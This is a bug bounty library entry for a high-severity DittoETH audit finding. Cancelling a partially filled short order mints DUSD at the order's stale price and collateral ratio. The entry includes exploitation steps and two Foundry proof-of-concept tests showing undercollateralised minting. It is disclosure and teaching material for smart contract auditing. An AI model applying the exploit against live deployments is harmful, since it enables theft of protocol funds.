# Users can mint DUSD with less collateral than required, which gives them free DUSD and may open a liquidatable position

Cancelling a partially-filled short order mints DUSD using the order's stale price and CR, letting users mint more DUSD than their collateral is worth.

- Payout: Audit contest
- Severity: high
- Program: DittoETH
- Found by: nonseodion
- Disclosed: 2024-06-25
- Write-up quality: 8/10
- Original: https://github.com/code-423n4/2024-03-dittoeth-findings/issues/134
- Library page: https://bugbountylibrary.com/r/c4%3A2024-03-dittoeth%3AH-03
- Tags: area:web3 domain:web3 impact:funds-loss impact:integrity kind:contest platform:code4rena sev:high tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:business-logic

**Target:** DittoETH short order cancellation / LibOrders.cancelShort
**Root cause:** When topping a partially-filled short record up to minShortErc, collateralDiff is computed from the short order's stored price and shortOrderCR instead of the current oracle price and the asset's initialCR, so collateral charged can be less than the DUSD minted.
**Steps:**
1. Set asset initialCR=170, penaltyCR=120, liquidationCR=150.
2. Place a small bid (`fundLimitBidOpt(1 ether, 0.01 ether)`) so the short will only partially fill.
3. Create a limit short at price 1 ether for 5000 DUSD with CR 70, depositing only 70% of required ETH.
4. Short record becomes SR.PartialFill.
5. Call `cancelShort(101)`; the top-up to minShortErc uses shortOrderCR=70 and price=1 ether.
6. Observe short.ercDebt=2000 DUSD but collateral only 0.01 + 0.7*2000 ETH; position is immediately liquidatable.
**How found:** Code-reading of the cancelShort top-up branch: noticed collateralDiff uses shortOrder.price and shortOrder.shortOrderCR rather than current oracle price and asset initialCR, then reasoned that a low CR or stale price lets minted DUSD exceed collateral value.
**Exploitation:** Attacker creates a short with CR below 100% (or at a stale price), gets it partially filled, then cancels. The cancel path mints the debtDiff DUSD to the shorter while deducting collateralDiff computed at the attacker-chosen shortOrderCR and old price, yielding free/underpriced DUSD and a liquidatable short record.
**Insight:** In order-cancellation/cleanup paths that top up a record to a minimum size, check whether the price and collateral ratio used are the order's stored values or the current oracle/asset config — stale order parameters in cleanup code are a recurring source of undercollateralized minting.

## Proof of concept (copied exactly from the original report)

**Foundry PoC test_MintFreeDUSD minting free DUSD**

```
function test_MintFreeDUSD() public {
        // set the initial, penalty and liquidation CRs
        vm.startPrank(owner);
        // set below 200 to allow shorter provide less than 100% of debt
        diamond.setInitialCR(asset, 170); 
        diamond.setPenaltyCR(asset, 120);
        diamond.setLiquidationCR(asset, 150);
        vm.stopPrank();

        // create a bid to match the short and change its state to SR.PartialFill
        fundLimitBidOpt(1 ether, 0.01 ether, receiver);

        // create the short providing only 70% of the dusd to be minted
        uint88 price = 1 ether;
        depositEth(sender, price.mulU88(5000 ether).mulU88(0.7 ether));
        uint16[] memory shortHintArray = setShortHintArray();
        MTypes.OrderHint[] memory orderHintArray = diamond.getHintArray(asset, price, O.LimitShort, 1);
        vm.prank(sender);
        diamond.createLimitShort(asset, uint80(price), 5000 ether, orderHintArray, shortHintArray, 70);

        STypes.ShortRecord memory short = getShortRecord(sender, C.SHORT_STARTING_ID);
        // successfully matches the bid
        assertTrue(short.status == SR.PartialFill);
        
        // cancel the short to use up collateral provided and mint dusd
        vm.prank(sender);
        cancelShort(101);

        short = getShortRecord(sender, C.SHORT_STARTING_ID);
        assertEq(short.ercDebt, 2000 ether); // 2000 dusd minted
        assertEq(short.collateral, 0.01 ether + 0.7 * 2000 ether); // 70% of ETH collateral provided 

        // this SR is liquidatable
        assertGt( diamond.getAssetNormalizedStruct(asset).liquidationCR, short.collateral.div(short.ercDebt.mul(1 ether)));
    }
```

**Foundry PoC test_MintBelowPrice minting below oracle price**

```
function test_MintBelowPrice() public {
        // create a bid to match the short and change its state to SR.PartialFill
        fundLimitBidOpt(1 ether, 0.01 ether, receiver);

        // create the short providing 400% of the dusd to be minted
        // current initialCR is 500%
        uint88 price = 1 ether;
        depositEth(sender, price.mulU88(5000 ether).mulU88(4 ether));
        uint16[] memory shortHintArray = setShortHintArray();
        MTypes.OrderHint[] memory orderHintArray = diamond.getHintArray(asset, price, O.LimitShort, 1);
        vm.prank(sender);
        diamond.createLimitShort(asset, uint80(price), 5000 ether, orderHintArray, shortHintArray, 400);

        STypes.ShortRecord memory short = getShortRecord(sender, C.SHORT_STARTING_ID);
        assertTrue(short.status == SR.PartialFill); // CR is partially filled by bid
        
        // set the new price to 1.5 ether so that price increase
        uint256 newPrice = 1.5 ether;
        skip(15 minutes);
        ethAggregator.setRoundData(
            92233720368547778907 wei, int(newPrice.inv()) / ORACLE_DECIMALS, block.timestamp, block.timestamp, 92233720368547778907 wei
        );
        fundLimitBidOpt(1 ether, 0.01 ether, receiver);
        assertApproxEqAbs(diamond.getProtocolAssetPrice(asset), newPrice, 15000000150);

        // cancel the short to mint at 1 ether instead of 1.5 ether
        vm.prank(sender);
        cancelShort(101);

        short = getShortRecord(sender, C.SHORT_STARTING_ID);
        assertEq(short.ercDebt, 2000 ether); // 2000 dusd minted
        // 2000 dusd minted for 8000 ether (400% at price of 1 ether) 
        // instead of 12000 ether (400% at price of 1.5 ether)
        assertEq(short.collateral, 0.01 ether + 4*2000 ether);

        // position is liquidatable
        assertGt( diamond.getAssetNormalizedStruct(asset).liquidationCR, short.collateral.div(short.ercDebt.mul(1.5 ether)));
    }
```

